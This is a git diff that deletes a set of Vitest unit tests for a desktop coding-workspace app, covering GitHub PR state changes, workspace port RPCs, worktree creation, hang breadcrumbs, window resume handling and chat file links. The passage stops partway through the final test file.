a/src/main/github/client-pr-state.test.ts b/src/main/github/client-pr-state.test.ts deleted file mode 100644 index 71bb32716e9..00000000000 --- a/src/main/github/client-pr-state.test.ts +++ /dev/null @@ -1,120 +0,0 @@ -import { beforeEach, describe, expect, it, vi } from 'vitest' -import type * as GithubApiRepositoryModule from './github-api-repository' -import type * as GitHubEnterpriseRepositoryModule from './github-enterprise-repository' - -const { clientMocks, moduleMocks } = await vi.hoisted(async () => { - const moduleMocks = await import('./client-test-mocks') - return { clientMocks: moduleMocks.createGitHubClientMocks(), moduleMocks } -}) - -vi.mock('./gh-utils', () => moduleMocks.ghUtilsModuleMock(clientMocks)) -vi.mock('../git/runner', () => moduleMocks.gitRunnerModuleMock(clientMocks)) -vi.mock('./local-git-config-signature', () => - moduleMocks.localGitConfigSignatureModuleMock(clientMocks) -) -vi.mock('./github-enterprise-repository', async (importOriginal) => - moduleMocks.githubEnterpriseRepositoryModuleMock( - await importOriginal() - ) -) -vi.mock('./rate-limit', () => moduleMocks.rateLimitModuleMock(clientMocks)) -vi.mock('./github-api-repository', async (importOriginal) => - moduleMocks.githubApiRepositoryModuleMock( - clientMocks, - await importOriginal() - ) -) - -import { markPRReadyForReview } from './client/update/pr-ready' -import { updatePRState } from './client/update/pr-state' -import { _resetOwnerRepoCache } from './gh-utils' -import { resetOriginRepositoryCache } from './client-test-harness' - -const { - ghExecFileAsyncMock, - getOwnerRepoMock, - getOwnerRepoForRemoteMock, - ghRepoExecOptionsMock, - githubRepoContextMock, - acquireMock, - releaseMock -} = clientMocks - -describe('pull request state mutations', () => { - beforeEach(() => { - resetOriginRepositoryCache() - ghExecFileAsyncMock.mockReset() - getOwnerRepoMock.mockReset() - getOwnerRepoForRemoteMock.mockReset() - getOwnerRepoForRemoteMock.mockImplementation( - async (repoPath: string, remoteName: string, connectionId?: string | null, opts = {}) => - remoteName === 'origin' ? getOwnerRepoMock(repoPath, connectionId, opts) : null - ) - ghRepoExecOptionsMock.mockClear() - githubRepoContextMock.mockClear() - acquireMock.mockReset() - releaseMock.mockReset() - acquireMock.mockResolvedValue(undefined) - _resetOwnerRepoCache() - }) - - it('reopens pull requests through the gh PR command', async () => { - getOwnerRepoMock.mockResolvedValueOnce({ owner: 'stablyai', repo: 'orca' }) - ghExecFileAsyncMock.mockResolvedValueOnce({ stdout: '', stderr: '' }) - - await expect(updatePRState('/repo-root', 3977, { state: 'open' })).resolves.toEqual({ - ok: true - }) - - expect(ghExecFileAsyncMock).toHaveBeenCalledWith( - ['pr', 'reopen', '3977', '--repo', 'stablyai/orca'], - { cwd: '/repo-root', host: 'github.com' } - ) - expect(acquireMock).toHaveBeenCalledTimes(1) - expect(releaseMock).toHaveBeenCalledTimes(1) - }) - - it('closes pull requests through the gh PR command', async () => { - getOwnerRepoMock.mockResolvedValueOnce({ owner: 'stablyai', repo: 'orca' }) - ghExecFileAsyncMock.mockResolvedValueOnce({ stdout: '', stderr: '' }) - - await expect(updatePRState('/repo-root', 3977, { state: 'closed' })).resolves.toEqual({ - ok: true - }) - - expect(ghExecFileAsyncMock).toHaveBeenCalledWith( - ['pr', 'close', '3977', '--repo', 'stablyai/orca'], - { cwd: '/repo-root', host: 'github.com' } - ) - }) - - it('reopens SSH-backed pull requests without local cwd options', async () => { - getOwnerRepoMock.mockResolvedValueOnce({ owner: 'stablyai', repo: 'orca' }) - ghExecFileAsyncMock.mockResolvedValueOnce({ stdout: '', stderr: '' }) - - await expect( - updatePRState('/remote/repo-root', 3977, { state: 'open' }, 'ssh-1') - ).resolves.toEqual({ - ok: true - }) - - expect(ghExecFileAsyncMock).toHaveBeenCalledWith( - ['pr', 'reopen', '3977', '--repo', 'stablyai/orca'], - { host: 'github.com' } - ) - }) - - it('marks pull requests ready for review through gh', async () => { - getOwnerRepoMock.mockResolvedValueOnce({ owner: 'stablyai', repo: 'orca' }) - ghExecFileAsyncMock.mockResolvedValueOnce({ stdout: '', stderr: '' }) - - await expect(markPRReadyForReview('/repo-root', 3977)).resolves.toEqual({ ok: true }) - - expect(ghExecFileAsyncMock).toHaveBeenCalledWith( - ['pr', 'ready', '3977', '--repo', 'stablyai/orca'], - { cwd: '/repo-root', host: 'github.com' } - ) - expect(acquireMock).toHaveBeenCalledTimes(1) - expect(releaseMock).toHaveBeenCalledTimes(1) - }) -}) diff --git a/src/main/runtime/rpc/methods/workspace-ports.test.ts b/src/main/runtime/rpc/methods/workspace-ports.test.ts deleted file mode 100644 index e5f0be51937..00000000000 --- a/src/main/runtime/rpc/methods/workspace-ports.test.ts +++ /dev/null @@ -1,119 +0,0 @@ -import '../unused-default-rpc-methods.test-fixture' -import { describe, expect, it, vi } from 'vitest' -import { RpcDispatcher } from '../dispatcher' -import type { RpcRequest } from '../core' -import type { OrcaRuntimeService } from '../../orca-runtime' -import { WORKSPACE_PORT_METHODS } from './workspace-ports' -import type { WorkspacePortScanResult } from '../../../../shared/workspace-ports' - -function hostScopedRuntime( - methods: Partial> -): OrcaRuntimeService { - // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: dispatch reaches only the runtime id and the one host-scoped method each test stubs. - return { getRuntimeId: () => 'test-runtime', ...methods } as unknown as OrcaRuntimeService -} - -function makeRequest(method: string, params?: unknown): RpcRequest { - return { id: 'req-1', authToken: 'tok', method, params } -} - -describe('workspace port RPC methods', () => { - it('scans workspace ports on the runtime host', async () => { - const scan: WorkspacePortScanResult = { - platform: process.platform, - scannedAt: 123, - ports: [] - } - const runtime = { - getRuntimeId: () => 'test-runtime', - scanWorkspacePorts: vi.fn().mockResolvedValue(scan) - } as unknown as OrcaRuntimeService - const dispatcher = new RpcDispatcher({ runtime, methods: WORKSPACE_PORT_METHODS }) - - const response = await dispatcher.dispatch( - makeRequest('workspacePorts.scan', { repoId: 'repo-1' }) - ) - - expect(runtime.scanWorkspacePorts).toHaveBeenCalledWith('repo-1') - expect(response).toMatchObject({ ok: true, result: scan }) - }) - - it('kills a workspace-owned port on the runtime host', async () => { - const runtime = { - getRuntimeId: () => 'test-runtime', - killWorkspacePort: vi.fn().mockResolvedValue({ ok: true }) - } as unknown as OrcaRuntimeService - const dispatcher = new RpcDispatcher({ runtime, methods: WORKSPACE_PORT_METHODS }) - - const response = await dispatcher.dispatch( - makeRequest('workspacePorts.kill', { - repoId: 'repo-1', - pid: 1234, - port: 5173 - }) - ) - - expect(runtime.killWorkspacePort).toHaveBeenCalledWith({ - repoId: 'repo-1', - pid: 1234, - port: 5173 - }) - expect(response).toMatchObject({ ok: true, result: { ok: true } }) - }) - - it('scans the host a workspace resolves to and returns that host with the rows', async () => { - const scan = { - executionHostId: 'ssh:box', - platform: 'linux', - scannedAt: 1, - ports: [] - } - const runtime = hostScopedRuntime({ - scanWorkspacePortsOnHost: vi.fn().mockResolvedValue(scan) - }) - const dispatcher = new RpcDispatcher({ runtime, methods: WORKSPACE_PORT_METHODS }) - - const response = await dispatcher.dispatch( - makeRequest('workspacePorts.scanHost', { worktree: 'id:repo-1::/srv/app' }) - ) - - expect(runtime.scanWorkspacePortsOnHost).toHaveBeenCalledWith('id:repo-1::/srv/app') - expect(response).toMatchObject({ ok: true, result: scan }) - }) - - it('binds a host-scoped Stop to the workspace and the host its row was scanned on', async () => { - const runtime = hostScopedRuntime({ - killWorkspacePortOnHost: vi.fn().mockResolvedValue({ ok: true }) - }) - const dispatcher = new RpcDispatcher({ runtime, methods: WORKSPACE_PORT_METHODS }) - - const response = await dispatcher.dispatch( - makeRequest('workspacePorts.killHost', { - worktree: 'id:repo-1::/srv/app', - executionHostId: 'local', - pid: 1234, - port: 5173 - }) - ) - - expect(runtime.killWorkspacePortOnHost).toHaveBeenCalledWith({ - worktree: 'id:repo-1::/srv/app', - executionHostId: 'local', - pid: 1234, - port: 5173 - }) - expect(response).toMatchObject({ ok: true, result: { ok: true } }) - }) - - it('refuses a host-scoped Stop that names no host', async () => { - const runtime = hostScopedRuntime({ killWorkspacePortOnHost: vi.fn() }) - const dispatcher = new RpcDispatcher({ runtime, methods: WORKSPACE_PORT_METHODS }) - - const response = await dispatcher.dispatch( - makeRequest('workspacePorts.killHost', { worktree: 'id:w', pid: 1, port: 2 }) - ) - - expect(response).toMatchObject({ ok: false }) - expect(runtime.killWorkspacePortOnHost).not.toHaveBeenCalled() - }) -}) diff --git a/src/main/runtime/runtime-folder-worktree-create.test.ts b/src/main/runtime/runtime-folder-worktree-create.test.ts deleted file mode 100644 index 4401b79edd9..00000000000 --- a/src/main/runtime/runtime-folder-worktree-create.test.ts +++ /dev/null @@ -1,125 +0,0 @@ -/** The startup terminal a folder workspace's create spawns; this path forwards a reserved pane itself. */ - -import { describe, expect, it, vi } from 'vitest' -import type { Repo } from '../../shared/repo-types' -import { createRuntimeFolderWorktree } from './runtime-folder-worktree-create' -import type { HostWorktreeTarget } from '../../shared/worktree/host-qualified-identity' - -type CreateArgs = Parameters[0] - -const repo: Repo = { - id: 'repo-1', - path: '/folder', - displayName: 'folder', - badgeColor: 'blue', - addedAt: 1 -} - -function createDeps() { - const createTerminal = vi - .fn() - .mockResolvedValue({ handle: 'term-1', worktreeId: 'folder-1', title: null }) - const store = { - getSettings: () => ({ workspaceDir: '/ws', nestWorkspaces: false }), - setWorktreeMeta: (_target: HostWorktreeTarget, meta: Record) => meta, - getProjectHostSetups: () => [] - } - const deps: CreateArgs['deps'] = { - // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: the create reads only these three store methods; any other would throw on call rather than read a wrong value. - store: store as unknown as CreateArgs['deps']['store'], - ptySpawnAvailable: true, - createTerminal, - pasteDraft: vi.fn(), - sendFollowup: vi.fn(), - invalidateResolvedWorktrees: vi.fn(), - notifyWorktreesChanged: vi.fn(), - emitCreated: vi.fn(), - activate: vi.fn() - } - return { createTerminal, deps } -} - -const TAB_ID = '9b1deb4d-3b7d-4bad-9bdd-2b0d7b3dcb6d' -const LEAF_ID = '3f2504e0-4f89-41d3-9a0c-0305e82c3301' - -async function startupTerminalOptions(startupPaneKey?: string): Promise> { - const { createTerminal, deps } = createDeps() - const observe = vi.fn() - const followup = { agent: 'codex' as const, prompt: 'task' } - const terminal = { - handle: 'term-1', - worktreeId: 'folder-1', - title: null, - ptyId: 'pty-startup', - incarnationId: 'inc-startup', - agentSessionDisposition: 'adopted' as const - } - createTerminal.mockResolvedValueOnce(terminal) - await createRuntimeFolderWorktree({ - request: { - onStartupTerminalCreated: observe, - repoSelector: `id:${repo.id}`, - name: 'task', - ...(startupPaneKey ? { startupPaneKey } : {}) - }, - repo, - createdWithAgent: 'codex', - startup: { command: 'codex' }, - startupFollowup: followup, - deps - }) - expect(observe).toHaveBeenCalledExactlyOnceWith(terminal) - expect(deps.sendFollowup).toHaveBeenCalledExactlyOnceWith(terminal.handle, followup, terminal) - return createTerminal.mock.calls[0]?.[1] ?? {} -} - -describe('a folder workspace create with a startup agent', () => { - it('registers a folder launch before announcing its workspace', async () => { - const { deps } = createDeps() - const order: string[] = [] - vi.mocked(deps.notifyWorktreesChanged).mockImplementation(() => order.push('notify')) - const result = await createRuntimeFolderWorktree({ - request: { repoSelector: `id:${repo.id}`, name: 'chat', activate: true }, - repo, - promisedAgentChat: true, - onWorkspaceCreated: (id) => order.push(`register:${id}`), - deps - }) - expect(order).toEqual([`register:${result.worktree.id}`, 'notify']) - }) - - it('only promises a chat when the caller explicitly plans one', async () => { - const { deps } = createDeps() - await createRuntimeFolderWorktree({ - request: { repoSelector: `id:${repo.id}`, name: 'attributed', activate: true }, - repo, - createdWithAgent: 'codex', - deps - }) - expect(deps.activate).toHaveBeenCalledWith(repo.id, expect.any(String), undefined, undefined) - }) - - it('seeds a headless activated folder workspace without a paired viewer', async () => { - const { deps, createTerminal } = createDeps() - deps.provisionInBackground = () => true - const result = await createRuntimeFolderWorktree({ - request: { repoSelector: `id:${repo.id}`, name: 'headless', activate: true }, - repo, - deps - }) - expect(createTerminal).toHaveBeenCalledWith(`id:${result.worktree.id}`, { surfaceOwner: false }) - }) - - it('creates the startup terminal under the pane the caller reserved', async () => { - expect(await startupTerminalOptions(`${TAB_ID}:${LEAF_ID}`)).toMatchObject({ - tabId: TAB_ID, - leafId: LEAF_ID - }) - }) - - it('leaves the pane to the runtime when none was reserved', async () => { - const options = await startupTerminalOptions() - expect(options).not.toHaveProperty('tabId') - expect(options).not.toHaveProperty('leafId') - }) -}) diff --git a/src/main/startup/main-process-observers-hang-breadcrumb.test.ts b/src/main/startup/main-process-observers-hang-breadcrumb.test.ts deleted file mode 100644 index 3f0d32593f1..00000000000 --- a/src/main/startup/main-process-observers-hang-breadcrumb.test.ts +++ /dev/null @@ -1,125 +0,0 @@ -import { describe, expect, it, vi } from 'vitest' -import { existsSync, mkdtempSync, rmSync } from 'node:fs' -import { tmpdir } from 'node:os' -import { join } from 'node:path' -import { setActiveSink } from '../observability/tracer' -import { - writeHangDetectionMarker, - hangDetectionMarkerPath -} from '../hang-watchdog/hang-detection-marker' - -const events: string[] = [] -const breadcrumbData = new Map() -let profilePath = '' -vi.mock('../persistence', () => ({ getCanonicalUserDataPath: () => profilePath })) - -vi.mock('electron', () => ({ - app: { isPackaged: true, getPath: () => '/tmp/orca-test' } -})) -vi.mock('../observability', () => ({ - initObservability: () => { - events.push('observability') - setActiveSink({ push() {}, flush() {}, close() {} }) - } -})) -vi.mock('../crash-reporting/durable-crash-breadcrumb', () => ({ - recordDurableCrashBreadcrumb: (name: string, data?: unknown) => { - events.push(name) - breadcrumbData.set(name, data) - } -})) -vi.mock('../agent-awake-service', () => ({ - AgentAwakeService: class { - setMode(): void {} - setStatuses(): void {} - } -})) -vi.mock('../system-resume-broadcast', () => ({ - registerSystemResumeBroadcast: () => () => {} -})) -vi.mock('../notifications/desktop-presence-reporter', () => ({ - listCapableSharedControlSockets: () => [], - startDesktopPresenceReporter: () => () => {} -})) -vi.mock('../agent-hooks/server', () => ({ - agentHookServer: { - subscribeStatusChanges: () => () => {}, - subscribeStatusFreshness: () => () => {}, - subscribeEnrichedStatus: () => () => {}, - subscribePaneStatusClear: () => () => {} - } -})) -vi.mock('../agent-hooks/hook-status-session-tabs-republish', () => ({ - installHookStatusSessionTabsRepublish: () => () => {} -})) -vi.mock('../telemetry/client', () => ({ - initTelemetry: () => {}, - track: () => {} -})) -vi.mock('../codex/codex-trust-grant-telemetry', () => ({ - setCodexTrustGrantTelemetry: () => {} -})) -vi.mock('../skills/skill-transaction-startup-recovery', () => ({ - recoverPendingSkillTransactions: () => new Promise(() => {}) -})) -vi.mock('../telemetry/cohort-classifier', () => ({ - initCohortClassifier: () => {} -})) -vi.mock('../telemetry/onboarding-cohort-classifier', () => ({ - initOnboardingCohortClassifier: () => {} -})) -vi.mock('../stats/collector', () => ({ StatsCollector: class {} })) -vi.mock('../stats/agent-session-transition-recorder', () => ({ - AgentSessionTransitionRecorder: class {} -})) -vi.mock('../claude-usage/store', () => ({ ClaudeUsageStore: class {} })) -vi.mock('../codex-usage/store', () => ({ CodexUsageStore: class {} })) -vi.mock('../opencode-usage/store', () => ({ OpenCodeUsageStore: class {} })) -vi.mock('../muse-usage/store', () => ({ MuseUsageStore: class {} })) -vi.mock('../repo-maintenance-idle-gate', () => ({ - installRepoMaintenanceIdleGate: () => () => {} -})) - -const { mainProcessState } = await import('./main-process-state') -const { initializeMainProcessObservers } = await import('./main-process-observers') - -describe('main thread hang breadcrumb', () => { - it('is recorded after the trace sink exists, so the trace keeps it', () => { - profilePath = mkdtempSync(join(tmpdir(), 'observer-hang-')) - const markerPath = hangDetectionMarkerPath(profilePath) - writeHangDetectionMarker(`${markerPath}.previous`, { - detectedAt: 1, - parentPid: 9536, - unresponsiveMs: 103_000, - selfRecovered: true - }) - Object.assign(mainProcessState, { - store: { getSettings: () => ({}) }, - hangDetection: { - detectedAt: 1, - parentPid: 9536, - unresponsiveMs: 103_000, - selfRecovered: true - } - }) - - try { - initializeMainProcessObservers() - - expect(events).toEqual([ - 'observability', - 'main_process_lifecycle_started', - 'main_thread_hang_detected' - ]) - expect(breadcrumbData.get('main_thread_hang_detected')).toEqual({ - unresponsiveMs: 103_000, - previousPid: 9536, - selfRecovered: true - }) - expect(existsSync(`${markerPath}.previous`)).toBe(false) - } finally { - setActiveSink(null) - rmSync(profilePath, { recursive: true, force: true }) - } - }) -}) diff --git a/src/main/window/createMainWindow-system-resume-relay.test.ts b/src/main/window/createMainWindow-system-resume-relay.test.ts deleted file mode 100644 index 42882041c24..00000000000 --- a/src/main/window/createMainWindow-system-resume-relay.test.ts +++ /dev/null @@ -1,127 +0,0 @@ -import { beforeEach, describe, expect, it, vi } from 'vitest' - -vi.mock('electron', async () => - (await import('./createMainWindow-test-harness')).electronModuleMock() -) -vi.mock('./macos-tahoe-release', async () => - (await import('./createMainWindow-test-harness')).macosTahoeReleaseMock() -) -vi.mock('../app-icon', async () => (await import('./createMainWindow-test-harness')).appIconMock()) -vi.mock('../browser/browser-manager', async () => - (await import('./createMainWindow-test-harness')).browserManagerMock() -) - -import { createMainWindow } from './createMainWindow' -import { resetExpectedTeardownStateForTest } from '../crash-reporting/expected-teardown-state' -import { - browserWindowMock, - powerMonitorOnMock, - powerMonitorRemoveListenerMock, - resetMainWindowMocks -} from './createMainWindow-test-harness' - -describe('createMainWindow', () => { - beforeEach(() => { - resetMainWindowMocks() - resetExpectedTeardownStateForTest() - vi.useRealTimers() - }) - - describe('system resume relay', () => { - function setupResumeWindow() { - const windowHandlers: Record void> = {} - const webContents = { - on: vi.fn(), - setZoomLevel: vi.fn(), - setBackgroundThrottling: vi.fn(), - setWebRTCIPHandlingPolicy: vi.fn(), - invalidate: vi.fn(), - setWindowOpenHandler: vi.fn(), - send: vi.fn(), - isDestroyed: vi.fn(() => false), - id: 1 - } - const instance = { - webContents, - on: vi.fn((event: string, handler: (...args: any[]) => void) => { - windowHandlers[event] = handler - }), - isDestroyed: vi.fn(() => false), - // Why: maximized keeps forceRepaint from scheduling its size-nudge timer. - isMaximized: vi.fn(() => true), - isFullScreen: vi.fn(() => false), - getSize: vi.fn(() => [1200, 800]), - setSize: vi.fn(), - maximize: vi.fn(), - show: vi.fn(), - loadFile: vi.fn(() => Promise.resolve()), - loadURL: vi.fn(() => Promise.resolve()) - } - browserWindowMock.mockImplementation(function () { - return instance - }) - return { windowHandlers, webContents, instance } - } - - function getPowerResumeListener(): () => void { - const resumeCall = powerMonitorOnMock.mock.calls.find( - (call: unknown[]) => call[0] === 'resume' - ) - if (!resumeCall) { - throw new Error('missing powerMonitor resume listener') - } - return resumeCall[1] as () => void - } - - it('relays powerMonitor resume to the live window and forces a repaint', () => { - const { webContents } = setupResumeWindow() - createMainWindow(null) - const onResume = getPowerResumeListener() - webContents.send.mockClear() - webContents.invalidate.mockClear() - - onResume() - - expect(webContents.send).toHaveBeenCalledWith('system:resumed') - expect(webContents.invalidate).toHaveBeenCalledTimes(1) - }) - - it('does not send the resume event once the window is destroyed', () => { - const { webContents, instance } = setupResumeWindow() - createMainWindow(null) - const onResume = getPowerResumeListener() - instance.isDestroyed.mockReturnValue(true) - webContents.send.mockClear() - webContents.invalidate.mockClear() - - onResume() - - expect(webContents.send).not.toHaveBeenCalled() - expect(webContents.invalidate).not.toHaveBeenCalled() - }) - - it('does not send the resume event once webContents is destroyed', () => { - const { webContents } = setupResumeWindow() - createMainWindow(null) - const onResume = getPowerResumeListener() - webContents.isDestroyed.mockReturnValue(true) - webContents.send.mockClear() - webContents.invalidate.mockClear() - - onResume() - - expect(webContents.send).not.toHaveBeenCalled() - expect(webContents.invalidate).not.toHaveBeenCalled() - }) - - it('removes the powerMonitor resume listener when the window closes', () => { - const { windowHandlers } = setupResumeWindow() - createMainWindow(null) - const onResume = getPowerResumeListener() - - windowHandlers.closed() - - expect(powerMonitorRemoveListenerMock).toHaveBeenCalledWith('resume', onResume) - }) - }) -}) diff --git a/src/renderer/src/components/contextual-tours/use-contextual-tour.test.ts b/src/renderer/src/components/contextual-tours/use-contextual-tour.test.ts deleted file mode 100644 index f6c7cffb929..00000000000 --- a/src/renderer/src/components/contextual-tours/use-contextual-tour.test.ts +++ /dev/null @@ -1,120 +0,0 @@ -import { describe, expect, it, vi } from 'vitest' -import { - createContextualTourInteractionSnapshot, - shouldRequestContextualTourAfterInteraction -} from './use-contextual-tour' -import type { ContextualTourId } from '../../../../shared/contextual-tours' - -describe('shouldRequestContextualTourAfterInteraction', () => { - it('waits for persisted seen ids before allowing a tour request', async () => { - let resolvePersisted!: () => void - const persisted = new Promise((resolve) => { - resolvePersisted = resolve - }) - const seenIds: ContextualTourId[] = [] - const requestReady = shouldRequestContextualTourAfterInteraction({ - id: 'tasks', - persisted, - isCancelled: () => false, - getContextualToursSeenIds: () => seenIds - }) - - let settled = false - void requestReady.then(() => { - settled = true - }) - await Promise.resolve() - expect(settled).toBe(false) - - seenIds.push('tasks') - resolvePersisted() - - await expect(requestReady).resolves.toBe(false) - }) - - it('allows the request when the tour remains unseen after persistence settles', async () => { - await expect( - shouldRequestContextualTourAfterInteraction({ - id: 'tasks', - persisted: Promise.resolve(), - isCancelled: () => false, - getContextualToursSeenIds: () => [] - }) - ).resolves.toBe(true) - }) -}) - -describe('createContextualTourInteractionSnapshot', () => { - it('records regular contextual-tour feature interactions before requesting', async () => { - const persisted = Promise.resolve() - const recordFeatureInteraction = vi.fn(() => persisted) - - const snapshot = createContextualTourInteractionSnapshot({ - id: 'tasks', - featureInteractions: {}, - recordFeatureInteraction, - recordFeatureInteractionForTour: true - }) - - expect(recordFeatureInteraction).toHaveBeenCalledWith('tasks') - expect(snapshot.wasPreviouslyInteracted).toBe(false) - await expect(snapshot.persisted).resolves.toBeUndefined() - }) - - it('reuses the floating workspace pre-open snapshot without double-recording', async () => { - const persisted = Promise.resolve() - const recordFeatureInteraction = vi.fn(() => Promise.resolve()) - - const snapshot = createContextualTourInteractionSnapshot({ - id: 'floating-workspace', - featureInteractions: { - 'floating-workspace': { - firstInteractedAt: 1, - interactionCount: 1 - } - }, - recordFeatureInteraction, - recordFeatureInteractionForTour: false, - featureInteractionPersisted: persisted, - wasFeaturePreviouslyInteracted: false - }) - - expect(recordFeatureInteraction).not.toHaveBeenCalled() - expect(snapshot.wasPreviouslyInteracted).toBe(false) - expect(snapshot.persisted).toBe(persisted) - }) - - it('marks existing floating workspace users from the explicit pre-open snapshot', () => { - const snapshot = createContextualTourInteractionSnapshot({ - id: 'floating-workspace', - featureInteractions: {}, - recordFeatureInteraction: vi.fn(() => Promise.resolve()), - recordFeatureInteractionForTour: false, - wasFeaturePreviouslyInteracted: true - }) - - expect(snapshot.wasPreviouslyInteracted).toBe(true) - }) - - it('can record after hydration while preserving an explicit pre-open snapshot', () => { - const persisted = Promise.resolve() - const recordFeatureInteraction = vi.fn(() => persisted) - - const snapshot = createContextualTourInteractionSnapshot({ - id: 'floating-workspace', - featureInteractions: { - 'floating-workspace': { - firstInteractedAt: 1, - interactionCount: 1 - } - }, - recordFeatureInteraction, - recordFeatureInteractionForTour: true, - wasFeaturePreviouslyInteracted: false - }) - - expect(recordFeatureInteraction).toHaveBeenCalledWith('floating-workspace') - expect(snapshot.wasPreviouslyInteracted).toBe(false) - expect(snapshot.persisted).toBe(persisted) - }) -}) diff --git a/src/renderer/src/components/dashboard-popout/preview-terminal-links.test.ts b/src/renderer/src/components/dashboard-popout/preview-terminal-links.test.ts deleted file mode 100644 index d938f30bcbb..00000000000 --- a/src/renderer/src/components/dashboard-popout/preview-terminal-links.test.ts +++ /dev/null @@ -1,35 +0,0 @@ -// @vitest-environment happy-dom - -import { afterEach, expect, it, vi } from 'vitest' -import { Terminal } from '@xterm/xterm' -import { isMacPlatform } from '@/components/terminal-pane/terminal-link-open-hints' -import { installPreviewTerminalLinks } from './preview-terminal-links' - -afterEach(() => { - vi.unstubAllGlobals() -}) - -it('opens OSC 8 hyperlinks on Mod+click instead of the xterm confirm prompt (#34229)', () => { - const openUrl = vi.fn(async () => undefined) - vi.stubGlobal('api', { shell: { openUrl } }) - const terminal = new Terminal() - installPreviewTerminalLinks(terminal) - const handler = terminal.options.linkHandler - const url = 'https://github.com/stablyai/orca/pull/1' - const range = { start: { x: 1, y: 1 }, end: { x: 2, y: 1 } } - - handler?.activate(new MouseEvent('click', { button: 0 }), url, range) - expect(openUrl).not.toHaveBeenCalled() - - const mac = isMacPlatform() - const modClick = new MouseEvent('click', { - button: 0, - cancelable: true, - metaKey: mac, - ctrlKey: !mac - }) - handler?.activate(modClick, url, range) - expect(openUrl).toHaveBeenCalledWith(url) - expect(modClick.defaultPrevented).toBe(true) - terminal.dispose() -}) diff --git a/src/renderer/src/components/native-chat/use-native-chat-file-link-existence.test.tsx b/src/renderer/src/components/native-chat/use-native-chat-file-link-existence.test.tsx deleted file mode 100644 index 9d4f499d2af..00000000000 --- a/src/renderer/src/components/native-chat/use-native-chat-file-link-existence.test.tsx +++ /dev/null @@ -1,122 +0,0 @@ -// @vitest-environment happy-dom -import { cleanup, render } from '@testing-library/react' -import { afterEach, describe, expect, it, vi } from 'vitest' -import type { NativeChatFileLinkContext } from './native-chat-file-link' -import type * as ExistenceModule from './native-chat-file-link-existence' -import { - NativeChatFileLinkExistenceProvider, - useRecheckNativeChatFileLinksWhenTurnEnds -} from './use-native-chat-file-link-existence' - -type StoreState = { - connectionId: string | null | undefined - sshConnectionStates: Map - runtimeStatusByEnvironmentId: Map -} - -const mocks = vi.hoisted(() => { - const store: StoreState = { - connectionId: 'ssh-1', - sshConnectionStates: new Map(), - runtimeStatusByEnvironmentId: new Map() - } - const created: { recheck: () => void }[] = [] - return { store, created } -}) - -vi.mock('@/store', () => ({ - useAppStore: (selector: (state: StoreState) => unknown) => selector(mocks.store) -})) -vi.mock('@/lib/connection-context', () => ({ - getConnectionIdFromState: (state: StoreState) => state.connectionId -})) -vi.mock('./use-native-chat-file-link-context', () => ({ - useNativeChatFileLinkContext: () => context -})) -vi.mock('./native-chat-file-link-existence', async (importOriginal) => ({ - ...(await importOriginal()), - createNativeChatFileLinkExistence: () => { - const existence = { watch: vi.fn(), recheck: vi.fn() } - mocks.created.push(existence) - return existence - } -})) - -const context: NativeChatFileLinkContext = { - worktreeId: 'wt-1', - worktreePath: '/repo', - runtimeEnvironmentId: null -} - -function TurnState({ isWorking }: { isWorking: boolean }): null { - useRecheckNativeChatFileLinksWhenTurnEnds(isWorking) - return null -} - -function chat(isWorking: boolean): React.JSX.Element { - return ( - - - - ) -} - -function renderProvider(isWorking: boolean) { - return render(chat(isWorking)) -} - -describe('NativeChatFileLinkExistenceProvider', () => { - afterEach(() => { - cleanup() - mocks.created.length = 0 - mocks.store.connectionId = 'ssh-1' - mocks.store.sshConnectionStates = new Map() - }) - - it('rechecks when a turn ends, not when the chat mounts', () => { - const view = renderProvider(false) - view.rerender(chat(true)) - expect(mocks.created[0].recheck).not.toHaveBeenCalled() - - view.rerender(chat(false)) - - expect(mocks.created).toHaveLength(1) - expect(mocks.created[0].recheck).toHaveBeenCalledOnce() - }) - - it('rechecks when the SSH connection comes back', () => { - mocks.store.sshConnectionStates = new Map([['ssh-1', { status: 'reconnecting' }]]) - const view = renderProvider(false) - - mocks.store.sshConnectionStates = new Map([ - ['ssh-1', { status: 'connected', connectionGeneration: 2 }] - ]) - view.rerender(chat(false)) - - expect(mocks.created[0].recheck).toHaveBeenCalledOnce() - }) - - it('does not recheck when the SSH connection drops', () => { - mocks.store.sshConnectionStates = new Map([['ssh-1', { status: 'connected' }]]) - const view = renderProvider(false) - - for (const status of ['reconnecting', 'connecting', 'deploying-relay']) { - mocks.store.sshConnectionStates = new Map([['ssh-1', { status }]]) - view.rerender(chat(false)) - } - - expect(mocks.created[0].recheck).not.toHaveBeenCalled() - }) - - it('starts over when the workspace connection resolves', () => { - mocks.store.connectionId = undefined - const view = renderProvider(false) - - mocks.store.connectionId = 'ssh-1' - view.rerender(chat(false)) - - expect(mocks.created).toHaveLength(2) - expect(mocks.created[0].recheck).not.toHaveBeenCalled() - expect(mocks.created[1].recheck).not.toHaveBeenCalled() - }) -}) diff --git a/src/renderer/src/components/native-chat/use-structured-agent-session.cut-turn-notice.test.tsx b/src/renderer/src/components/native-chat/use-structured-agent-session.cut-turn-notice.test.tsx deleted file mode 100644 index 386af089a4b..00000000000 --- a/src/renderer/src/components/native-chat/use-structured-agent-session.cut-turn-notice.test.tsx +++ /dev/null @@ -1,117 +0,0 @@ -// @vitest-environment happy-dom - -import { cleanup, renderHook } from '@testing-library/react' -import { afterEach, describe, expect, it, vi } from 'vitest' -import type { AgentJournalRenderItem } from '../../../../shared/agent-session-journal-types' - -const SCOPE = { kind: 'turn' as const, turnItemId: 'turn-1' } -const items: AgentJournalRenderItem[] = [ - { - itemId: 'user-1', - revision: 0, - sequence: 1, - observedAt: 1, - turnScope: { kind: 'thread' }, - body: { kind: 'message', role: 'user', blocks: [{ type: 'text', text: 'long job' }] } - }, - { - itemId: 'turn-1', - revision: 1, - sequence: 2, - observedAt: 2, - turnScope: { kind: 'thread' }, - body: { - kind: 'turn', - turnId: 'turn-1', - userItemId: 'user-1', - state: 'interrupted', - startedAt: 2, - completedAt: 9 - } - }, - { - itemId: 'reply-1', - revision: 0, - sequence: 3, - observedAt: 3, - turnScope: SCOPE, - body: { kind: 'message', role: 'assistant', blocks: [{ type: 'text', text: 'half' }] } - } -] - -vi.mock('sonner', () => ({ toast: { error: vi.fn(), message: vi.fn() } })) -vi.mock('@/runtime/structured-agent-session-client', () => ({ - subscribeStructuredAgentSessionStatus: vi.fn(async () => ({ unsubscribe: vi.fn() })), - callStructuredAgentSession: vi.fn(async () => null), - supportsStructuredAgentSessionQuietRepeatedStop: vi.fn(async () => false) -})) -vi.mock('./use-structured-agent-session-read', () => ({ - 